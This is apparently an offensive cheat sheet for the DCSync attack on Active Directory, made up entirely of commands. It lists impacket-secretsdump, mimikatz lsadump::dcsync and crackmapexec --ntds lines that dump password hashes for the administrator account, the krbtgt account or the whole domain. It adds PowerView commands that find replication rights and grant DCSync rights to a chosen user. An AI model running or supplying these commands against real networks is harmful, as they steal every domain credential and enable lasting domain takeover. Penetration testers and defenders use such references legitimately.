DCSync

impacket-secretsdump DOMAIN/admin:password@DC_IP -just-dc-user administrator
impacket-secretsdump DOMAIN/admin:password@DC_IP -just-dc-user krbtgt

impacket-secretsdump DOMAIN/admin:password@DC_IP -just-dc

impacket-secretsdump DOMAIN/admin@DC_IP -hashes :NTLM_HASH -just-dc

impacket-secretsdump DOMAIN/admin:password@DC_IP -just-dc-ntlm

mimikatz # lsadump::dcsync /domain:domain.local /user:administrator
mimikatz # lsadump::dcsync /domain:domain.local /user:krbtgt
mimikatz # lsadump::dcsync /domain:domain.local /all /csv

crackmapexec smb DC_IP -u admin -p password --ntds
crackmapexec smb DC_IP -u admin -H HASH --ntds
crackmapexec smb DC_IP -u admin -p password --ntds --enabled        # Only enabled accounts
crackmapexec smb DC_IP -u admin -p password --ntds --user krbtgt     # A single account

Get-ObjectAcl -DistinguishedName "DC=domain,DC=local" -ResolveGUIDs | ? {($_.ObjectType -match 'replication')}

Add-ObjectAcl -TargetDistinguishedName "DC=domain,DC=local" -PrincipalSamAccountName targetuser -Rights DCSync